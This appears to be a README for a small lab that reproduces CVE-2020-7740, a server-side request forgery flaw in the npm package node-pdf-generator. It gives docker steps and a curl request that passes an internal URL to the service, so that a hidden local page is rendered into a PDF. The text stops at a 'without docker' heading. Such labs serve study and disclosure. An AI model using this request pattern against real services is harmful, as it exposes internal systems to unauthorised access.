CVE-2020-7740

This affects all versions of package node-pdf-generator. Due to lack of user input validation and sanitization done to the content given to node-pdf-generator, it is possible for an attacker to craft a url that will be passed to an external server allowing an SSRF attack.

Source

Quick start with docker

1. Build the container with
2. Run the container with docker run -p 3000:3000 cve-2020-7740
3. Notice that we cannot visit localhost:3001 directly
4. Send the request with curl using curl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdf
5. View test.pdf to view the localhost website that is supposed to be hidden.

Quick start Without docker